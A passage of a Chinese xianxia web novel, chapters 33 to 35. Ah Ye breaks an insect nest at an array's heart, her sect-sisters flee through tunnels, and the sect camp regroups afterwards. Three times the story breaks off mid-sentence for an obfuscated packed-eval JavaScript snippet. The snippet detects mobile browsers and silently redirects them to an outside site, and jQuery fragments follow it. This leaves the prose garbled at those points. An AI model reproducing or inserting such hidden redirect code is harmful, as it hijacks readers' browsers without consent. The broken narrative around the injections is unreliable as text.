踩在云端之上,阿也尝试迈出一步,落地的瞬间,夜幕骤然扭曲,一股热意窜上脊背,仿佛被滚烫的岩浆浇洗,烫得她缩回。 “以天为地,以地为天,颠倒水火。”公子闲曾告诉过她。 这里是……真正的阵眼。 上天即是入地,下海却是飞升。 注视那座凭空浮在天地或海天之间的畸形肉山,足有小楼那样高,表面布满孔隙,呈现出青紫斑驳的颜色,像是吸满洗笔水的墩布,时不时有针眼大小的白点钻进钻出,十分忙碌。 细看之下,每一点,都是蠕动的幼虫。 而肉山的中心,是那张差点没认出来的脸——古红。 一根犀角洞穿眉心,尖端挂着微弱的红光,一闪一闪,仿佛一颗心在跳动,而每跳动一次,会吸引更多的白点冒出来,啃食他灰白的脸皮和泡胀的嘴唇,露出被吮干净的颌骨。 这就是他心心念念培养的馔虫之术,到最后,连自己也成了其中一环。 “罪有应得。”识海里幽幽响起一道声音。 阿也打趣道,“不是说要冬眠?”怎么连古红犯下的孽事都如此清楚。 “没办法。”黑焰打了个哈欠,不情不愿地钻出识海,“再不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239293|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来提点你几句,你都不知道怎么死的。” 黑焰现身的刹那,尖角上的红光似乎明亮些许。一眨眼,又恢复原状,阿也眯起眼,难道是错觉? “别看我,看它。”黑焰不客气道。 “它?”阿也环顾四周,除肉山外再无一物,“你是说虫巢?” “那算什么东西?”黑焰叹了口气,“怎么这么弱……算了,看好了。” 这片天地似乎无法限制黑焰,它行动自如地飞向虫巢。尖角附近的幼虫迅速龟缩进孔中,像是躲避天敌,因而显出那处红光完整的景象—— 那是一节小指长的四棱晶柱,被黑焰映照出透明的轮廓,内里一条细线涓涓流动着,色泽沉郁,犹如干涸的血痂。 听见熟悉的冷笑声,阿也猛地抬头,看向黑焰。 它在那晶柱前凶猛地跳动,仿佛举灯照亮坟前的墓碑,并非为了缅怀,而是磨牙吮血,随时准备将逝者刨出来,再施以极刑,图个痛快。 她不由道:“你认识它?” “岂止认识。”黑焰话锋一转,“不如先想想怎么出去。” 阿也眨了下眼,无辜道:“来都来了,你不帮我?” “那就把残魂都给我。”黑焰轻描淡写,“替你扫清所有障碍,一劳永逸。” “听起来不太划算。”阿也讨价还价,“能不能多给点?比如永生之类的。” 黑焰又冷笑一声。 “那好吧。”阿也作苦恼状,右手探入甲胄的暗槽,抽出一柄飞刀,慢慢割开掌心。 血珠渗出来,只一点,散发的味道足以令幼虫们疯狂。 它们争先恐后地爬出安全的港湾,一节节收缩蠕动,不计一切代价前行,柔软的身体擦过粗糙的肉山,发出窸窸窣窣的声音,令人头皮发麻。 果然以鲜血为食。阿也想了想,放下飞刀,轻轻地再挤出一点血,涂满掌心,心道最近用的太多,等回去了吃点好的补一补。 霎那间,整座肉山变成雪白色,好似被茸茸灯笼草覆盖,被风一吹,产出一批又一批的种子。 成团的软白呱呱坠地,先是被灼热的夜空烤干,再堆积成山,源源不断的幼虫掉下来,推着无数虫尸爬出一条灰白的小路。 这条路蜿蜒向前,逐渐蚕食一轮圆月。 不急不慢地将手心的血涂抹飞刀两侧,好似用最锋锐的狼毫画出最满意的图案,随后抬起眼,二指夹住刀柄,闭上右眼,用左眼瞄准晶柱—— 脱手的瞬间,心蓦然一缩,手腕下意识一扭。 “嗡!” 刃尖擦着晶柱大半没入肉山,剩下的刀柄在余力中狂颤。 “咔咔——”一丝裂缝爬上剩余的尖角,在三息之内,迅速扩大,如蛛网遍布整个虫巢。 窸窣声停下了,红光骤然熄灭。虫巢与虫路亮起莹莹绿光,将降临不久的黑暗驱散。那是无数双眼睛,忽闪着,仿佛丛林里一只只潜伏的野兽,锁定了唯一的来犯者。 “现在还来得及交易哦。”黑焰打了个哈欠,“我可不想被虫子爬一身。” “真不帮我啊?”阿也可怜巴巴道。她学的那点招式对上人还好说,但在数以千万计的虫群面前根本不够看的。 黑焰嗤道:“别装了。” 阿也撇了撇嘴,从储物戒中掏出玉盒。 “多吃点,别死了。”黑焰幸灾乐祸,正要钻回识海,却见她打开玉盒,利落地抓起两枚暗红色的丹药,丢进嘴里,喉头一滚。 意识到她吃了什么,黑焰猛地跳起来,“你疯了?!” 丹药滑进腹中,像是生吞一把火。阿也伸了个懒腰。不愧是余寰做的东西,药效真够劲的。 那条虫路侵占圆月,一路扭曲攻来。等到了跟前,领头的被她毫不留情地一脚踩爆,余波震开附近的幼虫,暂时止住攻势。 捻了捻手指,仿佛磋磨不存在的沙尘,而脚下脓液四溅,被炎浪迅速蒸干,腥气不甘心地散去,留下点点白斑,像是晒海析出的粗盐。 “疯算什么?”阿也勾唇一笑,“别忘了,我死了,你也活不了。不是么?” 33. 名字 灰白的路分割地下的海,像是被洪水冲刷过的田垄,只剩残骸,而天上的湖平滑如镜,映出完满的月影。 “咳咳——”轻微的响动打破寂静,有人翻身坐起。 一阵急促的重咳。那人喷出一口黑烟,用手扇尽了,嘀咕一句,“真够劲的。”嗓子叫烟熏哑了,声音在空旷里四面回荡,飘忽如鬼魅。 那人起身,随意抬指。 一瞬间,萎缩的肉山之中,红光大盛,犹如一轮绚烂朝阳,绽放出比晚霞浓烈千百倍的颜色。 虚无的火焰顺着蛛网般的裂缝侵蚀每个角落,无声地燃烧起来。虫巢开始分离崩析,灰烬纷纷扬扬,仿佛一场遮天蔽日、永远也下不完的雪。 那人哼起小谣,穿过这场漫长的雪,走进更深处的黑暗。海上白尘被碾得沙沙作响,而湖面阒其无人,没有倒影。 “咔。”晶柱在消减的火焰中坠落,溅出一地晶莹。 粘稠的黑液爬出禁锢,钻进黄澄澄的圆月之中,化作一只眼睛,滴溜一转后,不甘心地散去。 “师姐?师姐!” 眼前人影逐渐清晰。凌栾吞咽一口涎液,缓解喉头干痒,哑声道:“云欢?” “是我!师姐你怎么样?”云欢热泪盈眶。 “还好。”凌栾下意识一动,额头撞上硬物,抬眼看去,失声道,“甘棠师姐?” 环在肩头的手收紧了,以示回应。 四周昏暗,凌栾定睛细看。甘棠正抱着自己在地道中急驰,两侧墙壁迅速后退,看不清其上的字画,唯有带着霉味的风刮得脸颊生疼。 她看向紧紧跟在甘棠身后的云欢,急道:“到底是怎么回事?” “我们逃出来之后,发现原来的入口不见了!那些霉迹,那些霉迹原来都是虫子!一路追着我们跑!”云欢边跑边解释,喘得上气不接下气。 理清整个过程,凌栾皱眉,追问道:“怎么逃出来的?” “是……”云欢灵机一动,“是甘棠师姐救我们出来的!” 凌栾不确定道:“真的?”要知道“席子瑞”只用一招就让自己失去了战力,而此前,师姐的实力仅高她一线。 云欢咬咬牙,势必替好友瞒到底:“是真的!” 或许是师姐有了新的境遇。凌栾安慰自己,压下心头不安,调动元力汇入丹田,激起针扎般的刺痛。 这感觉太过熟悉,像是揭开华谏封印之时遭遇的痛楚。她习惯性地咬牙忍住,继续深入。赤练不安地颤动起来,被云欢一把抓住,“别动!师姐你的脸色好差!” “我……”凌栾扯了扯赤练,没扯动,对上云欢眼里脸色苍白、摇摇欲坠的自己,黑气萦绕在眉间,仿佛沉沉死气。 “师姐,收好赤练。”云欢吸了吸鼻子,改用赤练缠住凌栾双手,打上牢固的死结。 凌栾见她放慢脚步,于是盘旋的赤练一点点绷直,即将断裂,她睁大眼,“你……” 云欢忽然站定,目送二人距离逐渐拉远,笑着朝她摆了摆手。 “云欢!甘棠师姐!” 凌栾挣不开手腕上的结,急得用牙去咬,赤练瑟缩一下,仍旧不肯松开,而甘棠脚步不停,转身拐入死角。 “赤练,”云欢喃喃道,又放声叫喊,“赤练!” 赤练顺从她的呼唤,解开死结,灵活地溜进主人的指缝,死死缠绕,仿佛握着另一只手。 “不要!”凌栾用力伸出手,被拐角的墙壁拦截,唯有声音从不可见处传来,坚定如磐石。 “往前走!” 那一声花光了积攒的所有勇气,云欢孤零零地站在地道里,想象着自己被大团青紫淹没的样子,耳畔沙沙声反复回荡,幽幽追近。 她其实很害怕,控制不住地发抖。 云欢不怕死,但从小到大,师祖保护她,师姐们溺爱她,师妹们宠着她,从来没经历过风吹雨打,因此从来没想过,会像今天这样独自面对自己的死亡——才发现她做不到坦然。 但一想到小烨为了她们留在石厅里搏斗,甘棠师姐变成这副人不人鬼不鬼的样子,凌师姐也曾守在阴山据点好几年,还有…… 云欢闭上眼,握住颈间的项链,深深、深深地吸了一口气。 没关系,她对自己说,师祖在天有灵,看见了,一定会很欣慰的。 抹过指上乌金的尾戒,云欢抓住那条七尺软鞭,猛地睁开眼,重回往日的嚣张气焰,“来啊!” 元力如狂风席卷丛林,罡风四射,仿佛砍瓜切菜,将扑来的青紫割得细碎。脓液溅上五彩斑斓衣,不等晕开,又叠上新的,斑驳一片白,又慢慢变黄。 云欢紧咬牙关,将长鞭舞出道道虚影,仿佛密不透风的壁垒,但对面攻势不减,青紫似乎无穷无尽的浪潮,势必将她吞噬。 随着时间逐渐拉长,她被逼得一步步后退,直到拐角。 不能再退了!云欢狠下心,大不了同归于尽! 收起长鞭,云欢双臂大展,双手捏诀,托起两团绿光,合二为一,青兰缓缓绽放,爆发出澎湃的元力。 吟唱声起,她高举那朵青兰,绿环扩散,彩衣爆发出绚丽光芒,实力逐步攀升。 青兰有所感知,飞速旋转起来,从面盆大收缩到半拳大,颜色跟着一点点凝实,青翠欲滴,积蓄着力量,等待爆发的时刻。 “给我……”云欢脸色涨红,往后扬手,正要抛出这招杀器。突然,颈间一烫,她低下头,一点红光亮起。 不等回神,察觉手上一空。云欢惊呼出声,却见那朵青兰轻飘飘地坠落,浮在面前,轻灵地打开花瓣,一片又一片,洒下绿光点点。 霎那间,无色的火焰沐浴光点而起,攀上三面墙壁,灼烧整片像用青线与紫线编织而成的虫毯。 爆裂如鞭炮的声响里,火星四溅,余烬被灼烧得发红,在空中上下翩跹,如飞舞的红蝶。 云欢怔怔看着火光潇洒离去,就像一阵风席卷雾气,忽地听见脚步声。 “是谁……呃!” 一口气被扼在喉中,云欢瞪大了眼,用尽全力去拉扯颈间那只手,却移不动分毫。 这……这是……云欢费力地偏过脸,看见来人肩头萎靡的赤练,顿时双眼一红,去推搡、去踹眼前这人,而眼前人不为所动。 指节一寸寸收紧了。 “嗬……”云欢张大嘴,胸膛拼命起伏,却徒有声音和动作,吸不进任何气,眼前蒙上一片阴影,逐渐发红。濒死之际,感官忽而敏锐起来。她闻到浓郁的杏仁味和其中似有若无的淡香,很熟悉。 意识渐渐空白,云欢挣扎的手脚抽搐着,疲软下去。 忽然,那只手松了些许,空气一窝蜂涌入胸膛,逼得云欢剧烈地咳嗽起来,努力找回一点神智。 “……” 字句从耳旁飘过,这声音好像在哪听过。 一瞬间的恍惚,颈上一痛。云欢低头,项链不知何时掉了出来,被那只手握住。她慌乱道,“等,等一下……你刚才说什么?” “你是谁?”那人拽住项链,声冷如冰。 “我是谁?”云欢疑惑地回问,但那人并无解释的意思,而是猛地拉紧项链,似乎打算直接将她脖子勒断。 “云欢!” 那只手仿佛被烫到般松开了,云欢得以喘息,“我……我叫云欢,白云的云,欢喜的欢。” 她拖长语调,偷偷观察面前这人,可惜光亮有限,那人站在明与暗的分界线中,面容和身形都模糊不清。 远去的火焰停滞一瞬,又缓缓飘摇起来。 那人后退一步,全然隐入阴影之中,唯有那股挥之不去的杏仁香在周身萦绕、浮动,半晌,一声轻笑。 “真是个好名字。” 虫潮退去了,静悄悄的。华谏扶住石壁,警惕地打量四周,唯恐留有后手,掌心的幼树耷拉着枝叶,无精打采的,像是累坏了。 黑暗里响起细微的脚步声,又轻又快,每一步都走得干净利落,带着将世上任何障碍都踏平的凛然意气,来人必定实力非凡。 能避则避。华谏打定主意,准备后撤,幼树得知主人心意,立刻支棱起来,预备助威。 才踏出一步,空气瞬间凝结。寒意铺天盖地袭来,虫尸爆裂,脓液绽放出朵朵冰花,一路蔓延至脚下,封冻去路。 但比寒意更吓人的是那种暴虐的杀意,凶残如飓风,仿佛要摧毁天地间一切生机。 华谏一怵,不敢再动。尽管没有声响传来,但心跳却越来越快,越来越快—— 一只手倏地探出阴影,抓住他的领口,轻而易举地将整个人拎了起来,提到眼前。 捕形印忽而亮了起来。 借着爆发出的绿光,华谏对上一张熟悉的面容,不禁愣神,“你……” 竖起食指压上唇中,那人勾唇一笑,无声地比出“嘘”的手势。 绿光瞬间熄灭,幼树散去虚影。微凉的东西灵活地钻进领口,华谏后知后觉那是她的手指,不自在地挣扎起来。 颈上一痛,华谏倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239294|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸一口冷气。方才在打斗中撕裂的伤口被人细细揉捏着,时而轻佻,时而认真,痒与痛并存,满是说不出的味道。 要……要干什么?华谏情不自禁地战栗,眼泪无意识地渗出来,打湿睫羽。 温热的气息忽然凑近了,伤口一暖,湿濡柔软。华谏倏地瞪大双眼,“你……” 刚叫出声,嘴被一把捂住。 巨力推着他跌跌撞撞地倒退,直到后背撞上墙壁,无法逃脱,被迫承受她激烈的动作。 这是在……干什么…… 华谏挣扎几下,但徒劳无功,很快,神智消融在那股欲求而不得的焦渴中,仿佛旅人跋山涉水,眼里只剩不远处绿洲里那一泓清泉。 “啪。”清脆的一声响,有什么东西掉在地上。 但华谏无暇顾及。他紧紧攀附着眼前的人,予取予求,唯有如此,才能不被那一波又一波灭顶的浪潮吞没。 血味在黑暗里逸散,轻飘飘的,仿佛天边的云彩,颈侧的伤口火烧火燎般地抽痛起来,他眼前一片混沌,不分昼夜,与生死渐渐融汇…… 白光倏然绽放,他绷紧脚尖,被浪潮裹挟,跌入无尽深渊。 察觉猎物昏迷,那人方抬起头来,舔去唇上血迹,意犹未尽。 “好吃。” 推开沉重的石门,来人跨过地上繁复的阵法,三两步迈过台阶,踏上高台。 狭长如蛇的尸骨盘踞于此,下半身腐朽了,露出森然白骨,而上半身遍布铁青色的鳞片,偶有深刻伤痕,露出干瘪的血肉和发黄的骨头——传闻中气势汹汹的蛟龙,却像条看门狗被拴在这里。 粗如人身的锁链贯穿它的双眼,一端投入进地上的古井,而另一端围绕高台中心的冰棺盘旋,像是捍卫这片领地的忠实护卫。 但此时此刻,除去头尾两根最为粗壮的锁链,缠绕棺身的锁链统统断为两截,切面整齐,没有划痕,像是一击所成。 棺盖大敞,内里空空如也。 有人抢先带走了棺内的东西。那人默然盯了棺中片刻,“啧”了一声,打了个响指。 刹那间,锁链在熊熊火光中熔断,砸进井底,发出沉重的声响,原来是口枯井。 终于摆脱束缚,那双蛟目缓缓睁开,如木杵撞钟,庄严而肃穆。 一霎那,白骨生肉,血养鳞甲,蛟龙重获生前荣光,头角峥嵘,似乎随时准备昂头对天长鸣,但下一刻,它收敛气息,低下高贵的头颅,露出藏在鳞片后的两处凸起。 那是快化龙的征兆。 “真乖。”那人满意地点头,踩着凸起踏上蛟首,随意盘坐,“带我上去。” 蛟龙无声潜入出口。 “轰隆——” 雷声浩大,闪电划破长空,乌云聚集,似乎在掩盖天幕之中的东西,令蛟龙忌惮不已,不肯再升空。 “怕什么?”来人拍了拍蛟首,轻笑一声,“我在这呢。” 蛟龙盘踞一阵,积蓄力量,长尾一振,直奔天际。鳞片尖啸着切开云层,宛如赫赫风雷,藏在云里的东西似是惧怕来人,不敢驱使伪装愈合,于是明月现身,朗照万里。 “找到了。”来人起身,衣襟被狂风鼓动,猎猎作响。 一道紫雷擦身而过,大约是藏在云里的东西不满来人的漠视,大显神威。 电光盖头浇下,被来人轻巧拨开。风雨紧追不舍,逼得蛟龙一一扣紧鳞片,而那人神色自若,踩在被洗得光滑如镜的蛟身上,如履平地。 一轮圆月近在咫尺,仿佛触手可及。 那人伸出手,像是要摘下月亮。 这要是搁在平日里被人瞧见了,莫不是被笑话痴人说梦,可明月当真荡起一圈圈涟漪,像是泡在水里。 那人轻勾手指,仿佛揭开宝箱上蒙尘的盖布,撕开月色一角,露出背后的无尽虚空。涛声滚滚而来,盖过阵阵雷鸣,仿佛眼前不是寥寥夜空,而是波涛汹涌的大海。 “轰隆——” 惊雷咆哮,藏在云里的东西被激怒了。蛟龙浑身颤抖,又怕惊扰来人,惹来更大的灾祸,只能努力克制,眼中红光大盛。 那人视若无睹,似是想起什么,低下头,镜湖嵌在悬崖峭壁之间,无波无澜,仿佛一只漆黑的眼睛。 半晌,那人忽地松手。 “算了。” 明月恢复如初,在远去的涛声里,那人纵身一跃。 白衣被雨浸透,勾勒出纤瘦身形,长发漫天飞舞,将飘渺月光切成千丝万缕,仿佛对命运的回应。 34. 四州 “小烨?小烨!” “师姐!” 阿也猛地睁眼,阳光扑面而来,所见是两张担忧的脸,随后眼一涩,被水雾浸染开来。肩上一沉,周身被温暖包围,她听到清脆的女声,“师姐是不是做噩梦了?” 是桃夭。阿也扶住额头,觉得里面仿佛塞进大团吸饱水的棉絮,胀得头脑发晕,愣愣道,“噩梦?” 柔软触及眼角,湿意退去,视线逐渐清晰,越过肩头大氅的绒毛镶边,停在云欢关切的脸上。 “你刚刚在叫,是哪里不舒服吗?”云欢问。 “我没事。”阿也注意到云欢发髻歪斜,脸侧有擦伤,而四周古树倾倒,地面被翻得乱七八糟,像被耒耜犁过,泥水浸透残雪,混着干涸的血迹结成冰晶,简直满目疮痍。 “这是……怎么了?” 云欢与桃夭对视一眼,别开脸去。 “三日前,阵破了。”桃夭红着眼,小声道,“大家……死伤过半。” 即便早有预料,听到这一句,心骤然一缩。阿也放眼望去,稀稀落落的弟子聚集在周围,身上都挂了彩,有的互相搀扶着,状况凄惨。 她逐个扫过那些面容,一一对上记忆里的姓名,“那……芳长老呢?” “破阵之后,极境结界又维持了三天。直到昨日,有混元兽暴乱,芳长老率领我们成功击退,不小心受了伤……” “芳芪你跑什么跑——”余寰冲出不远处的营帐,举着半个拳头大小的丹丸骂骂咧咧,“我不就是多加了几味药,你至于吗?快给我老老实实滚回来吃药!” 云欢“噗”一声笑出来,被桃夭戳了戳胳膊肘,立即收敛,“余长老……真是个妙人。” “……芳长老伤势很轻,已好得差不多了。”她补上桃夭没说完的话,扶阿也起身,指向远处,“小烨,你看,四州的支援都到了。” 隔着溪流,陆续有穿其他门派服饰的弟子来来往往,扛锹运车,最张扬的当属云间派,整整一排的营地都插满绘有青兰的旌旗,而这一侧,华宗的营地四散分布,没个正形。 “快给我过来!”余寰最终从人堆里揪出芳芪,拖进营帐,传出大呼小叫—— 打打闹闹的,好像又回到宴会之前。 想起那些逝去的年轻生命,阿也不由抿唇。 但芳芪的策略是对的,凭那时的人手不可能与公子闲正面抗衡,唯有先分散破阵,稳住蛟龙,才能放手博一线生机。 从某种程度上来说,她与云弈不谋而合。 “日子会越来越好的。”云欢看出她心绪低落,安抚道,“元脉已经被毁,等镇压完这一波被结界吸引来的兽潮,我们就可以回家了。” “是啊。”桃夭连连点头,虽说双眼仍是通红的,语气却轻快不少,“等回去了,我天天都要吃大鱼大肉!还要睡懒觉,就算长老打我骂我,我也不去晨练和晚修!” 等回去是得吃点好的补补,阿也含笑赞同,又闲聊几句,忽地想起来,“等一下,华谏呢?” “在这边。”桃夭一边领路,一边絮叨,“刚把混元兽打跑,还没来得及休整,加上人一下来的太多,物资不够用了,不得已才委屈师姐和师兄们都睡在外面。等再过两日东西都到了,就不用在外面吹风受凉啦。” 走动间,身着黑色短打的华宗弟子一见到阿也,立刻停下手中动作,颔首示礼,有几个眼熟的,甚至一脸惶恐。 简直一反常态。阿也点头回应,十分新奇这种长老般的待遇。 “那是因为大家都知道是师姐你破了阵眼!”桃夭抢先道,一个劲朝那些弟子甩眼刀,“我早就跟他们说过了,师姐很厉害的!他们还不信!” “不是我说的!”云欢连忙解释,顿了片刻,小声道,“是……是云弈师姐说的。” 还是没瞒住。阿也叹了口气,得好好想个托词,不然等华烨复生,怎么向人解释。 “别叹气呀师姐!你都不知道,云弈掌门来的时候,他们吓都吓死了。”桃夭朝周围指指点点,见被点到的人将头低得更狠,畅快道,“活该,谁叫他们之前欺负师姐来着!” “他们没有欺负我……”阿也心道,顶多在背后说两句坏话,当面甩个脸色,没有实打实的刀枪暗箭,无非是小孩子间的斗气罢了。 “那是师姐大人有大量,不跟他们计较。要换做是我……”桃夭嘿嘿一笑,拉长语气,瞪那些弟子一眼,挥起拳头,“少不了他们好果子吃!” “好了好了。”阿也劝道。见弟子们作惊兽状散开,更想叹气了,一转头,又对上桃夭亮晶晶的眼神,脚步一错,蹭上云欢肩头,一下忘了要说什么,转而朝二人无奈道,“我真的没事了。” 这两人生怕她突然倒下似的站在一左一右,紧紧夹着她往前走,搞得她束手束脚,浑身不自在。 “不行不行。”桃夭直摇头,“师姐你都不知道你的伤有多严重,得好好照看才是!” “的确如此。”云欢煞有其事地点头。 阿也败下阵来,老老实实被二人挟持着向前。 “华谏在这儿。” 树下,华谏蜷缩在睡袋里,脸消瘦了一圈,仅剩巴掌大,唇色发白,脸颊却烧得粉扑扑的,睫羽时不时颤抖着,似乎睡的并不安稳。 云欢掰着指头算了算,“同你一样昏睡了三日。” 那不一样,我可是打虫巢力竭才昏睡过去的。阿也在心里补充,问道:“人没事吧?” “并无大碍。余长老说可能是那黑环的副作用,多休息几天就没事了。”桃夭回答。 余寰……回想起生热丹难以言喻的味道,心肠仿佛再度被火灼烧,蓦地揪紧了,阿也心道,难怪琅矜以为是毒药。 “凌师姐?”桃夭忽然道,语气疑惑。 凌栾?阿也仓促间转身,重心一个不稳,眼看着要栽倒,下一刻,腰被人稳稳托住了。 对上凌栾复杂的眼神,阿也一个激灵,低头避开,“凌师姐。” 云欢和桃夭抢着来扶,被凌栾摆手拒绝,“我有话要单独与华烨说。” “是,师姐。”桃夭颔首道。 云欢担忧地看向阿也,没等她开口。桃夭先一步出手,将人连拖带拽地拉走。 “你干什么!”云欢急道,一步一回头。 桃夭不由分说地将人拉到溪边柳树下,劝道,“别担心啦,就让凌师姐和华师姐单独谈谈。” “谈,谈什么?”云欢眼神飘忽。 “当然是谈席师兄咯。”桃夭挠了挠头,“其实大家都看出来了,就是不敢说。” 云欢默然。桃夭猜对了,谈的就是席子瑞。 此前云弈来访时,凌栾私下得知师姐不知席子瑞乃是华宗弟子后,特意叫自己保守秘密,不要外传,大概是为了华宗的名声考虑。 “凌师姐就是刀子嘴豆腐心啦。”桃夭叹道,“就算席师兄向华师姐求婚,恐怕凌师姐也会送上精心准备的礼物的。” “你胡说!”云欢斥道,脑海里却想起席子瑞抱小烨回来时的笑容,冷汗悄悄渗出掌心,如果席子瑞是幕后主使……那就是冲着小烨来的? “我哪有胡说?”桃夭朝那边努了努嘴,“不信你看!” 维持低头的姿势太久,脖子酸得发麻,但阿也不敢抬头,头顶的眼神直勾勾的,像刑架上沉甸甸的镣铐。 能作为战力,和能独自破阵,是两回事。前者是入门弟子皆可作为,而后者,是连云间派掌门也力所不及的事。 头脑飞转,阿也思索该找什么借口才合理,是找到传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239295|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承所以实力大增,还是从往生教那里偷听到秘密…… “你在华宗受欺负了,等师姐回去替你做主。” 电光石火间,凌栾的话在耳畔响起,阿也叹了口气,算了,她没有办法对凌栾撒谎。 “把头抬起来。”凌栾的声音从上方传下来,压迫感十足,“既能灭杀青蚺,又能救卓小姐一行人,还能独自破阵,你怕什么?” 其实她也不明白自己在怕什么,于是应声抬头,见凌栾面色平淡,仿佛方才的眼神不过是错觉。 “去吧,芳长老找你。”凌栾拍去她肩头的柳絮,压低声音,“下次遇到,必杀之。” 这一句抵过千言万语,阿也点头应下。 二人擦肩而过。 “你看,我就说没事吧?”桃夭洋洋洒洒道,“凌师姐就是面冷心热啦!有一回我起晚了,没来得及交功课,她还替我……” 云欢望着那道远去的背影,悄然握紧掌心。 她并非担忧华宗名声或二人的关系,而是顺着席子瑞的笑容,自然而然地想起那个在地道里救下自己和凌栾却藏进阴影里的人。 关于那个人,云欢不是没有怀疑过华烨。毕竟目前为止,只有她的血能让晶柱有所反应。 但……云欢垂下眼帘,又想起在三日前,自己在滩涂上找到小烨的那一幕—— 浪潮接连不断地打来,冲刷甲胄的破损处,浮起斑驳的色斑,那一缕红尤为醒目。沙砾同破碎的飞刀被日光照亮,映出那张掩在乱发之中的面容,惨白如纸。 一声惊叫,云欢跌坐在地,芙蓉从手中滑落,滚进泥沙里。 “在这儿!”身后响起桃夭激动的喊声,脚步越过她,踩出如冠水花,追了上去。云欢怔怔看着弟子们围拢上去,手忙脚乱地将人扶起。 桃夭试过她的鼻息,脸色一白,又匆忙去摸她的脉搏,最后颤抖地俯身,去听她的心跳。 一,二,三……云欢数着自己的呼吸,从未觉得三息那样漫长,漫长到耳畔水声淹没了脑海里的一片空白,恍若那一夜呼啸的风声,云绮师姐告诉她,师祖走了。 “小烨……”云欢喃喃自语。 “活着!”桃夭如释重负,哭着笑着,向周围大声宣告,“还活着!” 还活着……云欢终于忍不住了,掩面痛哭。 “怎么了?你脸色好差。” 云欢从回忆中惊醒,见人进了营帐,摇了摇头,“没事。” “真的没事吗?”桃夭顿了顿,声音低下去,“我是不是说错话了,对不起。” “以后不许再提这些了。”云欢瞪她一眼,“凌师姐很好,小烨也很好!错的是席子瑞,男人没一个是好东西!” 桃夭用力点头,生怕再惹她不高兴,连连道,“好,我以后不提了,你不要生气。” “这还差不多。”云欢轻哼一声,“我去找云弈师姐。” “那,”桃夭鼓起勇气,“那你明天还来吗?” “明天……”云欢犹豫。 “来和我一起照顾华师姐。”桃夭央求道。 师姐们刚安营扎寨,还不熟悉这里,显然她明天要去帮忙,会很忙碌,更何况小烨并不需要她照顾……云欢抬起头,刚想拒绝。 风悄悄拨开纤细的柳枝,光影簌簌而落。耳边有潺潺水声流过,偶尔扑通一声,是鱼儿在卵石间嬉闹,在桃夭黑白分明的眼里,云欢看见了自己。 于是鬼使神差的,她点点头,“明天见。” “太好啦!”桃夭蹦蹦跳跳地沿着溪边跑开。 见她弯腰挑选野花,仔细扎成一束,看样子是要送人。云欢笑着摇摇头,打定主意,不会将方才听到的呼唤告诉任何人。 小烨就是小烨,不管怎么样,都是小烨。 35. 芥子 待人通禀后,阿也撩开营帐,略过邻近的三张陌生面孔,向主座上的芳芪拱手行礼:“长老可好些了?” “小伤而已。”芳芪笑了笑,拍了拍并排的邻座,“孩子,过来坐。” 闻言,那三位陌生面孔面面相觑。 那可是主座! 迎上他们或疑或惊的眼神,阿也犹豫一瞬,见下首的石磊和余寰皆对自己点头,于是自然落座。 “诸位。”芳芪含笑道,“这便是华烨,勘破阵眼之人。” “果真是英雄出少年!”身披重铠的壮汉拍手叫好,挣动了右脸上一道手掌长的伤疤。 “这位是穹苍一脉的山主,尤擅体术。”芳芪道。 穹苍一脉?那可是赤州最富盛名的产矿之地,尤以出产元晶出名。阿也拱手道,“山主。” “这位是金银仙,以御蛇之术闻名遐迩。” 瘦骨棱棱的紫衣女子举起手中拐杖,拐杖下半截以银丝嵌出蛇鳞,极尽工巧,上半截雕刻双头蛇,口含黄金珠,尖牙红蛇信,栩栩如生。 原来是有蛇女之名的金银错。阿也瞧见她衣上种种蛇纹,“仙子好。”不知她收不收青蚺的蛇丹与蛇胆。 “这位是隐居世外多年的天锦道长,喜好奇门遁甲之术。” 隐居多年?难怪从未听说过这号人物。阿也正要施礼,被一道元力轻轻托起。 “不必多礼。”身着明黄色法衣的天锦抚须而笑,“若非姑娘机敏,堪破阵眼,何来今日各位齐聚一堂,共赏要事?真论起来,当是我等向姑娘行礼才是。”他微微颔首。 阿也当之无愧地受下这一礼,不卑不亢道:“道长过誉。” 金银错面露赞赏,“此女日后大有作为。” 芳芪略一点头,旋即肃正脸色,“今日召集各位,是为商议如何镇压兽潮。”她挥袖,象征水命格的碧蓝色元力在空中编织出穆州的地图,六角雪花的每一处尖端都被打上标记,中心正是镜湖。 “前线来报,这几日兽群正大规模向这六处聚集,与三年前的混乱迥然不同。”芳芪面色凝重,“我怀疑,是有人在暗中促成此事。” 公子闲。阿也在心中回答,想起那句“暂且别过”,预感还会有再见面的一天。 “我甚至怀疑……”金银错沉吟片刻,目光灼灼,“就连三年前那场劫难,也是早有预谋。” 三年前,阴山极境。 